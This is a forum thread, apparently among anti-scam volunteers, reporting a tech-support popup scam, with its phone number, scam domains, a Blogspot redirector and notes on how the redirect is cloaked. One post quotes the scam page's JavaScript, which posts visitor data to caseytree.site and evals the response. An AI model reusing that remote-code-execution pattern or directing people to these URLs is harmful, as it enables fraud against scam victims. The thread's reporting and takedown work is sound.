Scam Number: +1-850-789-3135
Domain Used: https://geoflooring.xyz/code35masg/JaC0deJdfd008f0d0CH888Err0r80dd1/index.html
Extra Info:
So far I have taken down the server where they host the files - still waiting for a response from Dynadot for a domain takedown
These scammers have a bunch of domains, here’s their next popup https://kingfoods.xyz/code35masg/JaC0deJdfd008f0d0CH888Err0r80dd1/index.html and they redirect from https://wetopcarpetsandfloors.blogspot.com/ if you want to get more of them yourself and report
Just called. Number is active but they say they are not any kind of Apple or Microsoft tech support
Welcome to the community, @HashtagKhakiSwag!
Not sure why they would say that, they have been using the same number on many popups for a while now
They sometimes switch to a geek squad scam
I had a look at the second link but its currently not redirecting. It’s very difficult to take down domains when its not currently doing anything malicious. First domain is in the process of being taken down.
It redirects using javascript but only when visited from a residential ip in the us and only for the first few times.
After having a look at the source code for the home page I managed to pick out a domain this is completely empty and judging by the javascript code, only responds to POST requests
Code here: var q;$.ajax({url:"https://caseytree.site/index.php",type:"POST",data:"tz="+e+"&he="+g+"&rui="+rui+"&qu="+qu+"&r="+r+"&sn="+sn+"&co="+co,success:function(a){eval(a)}})})
Site here: https://caseytree.site
Yeah I saw that but it’s difficult to report caseytree.site and I actually made something in python a few months ago and send the url to the popup in a discord webhook when it changes.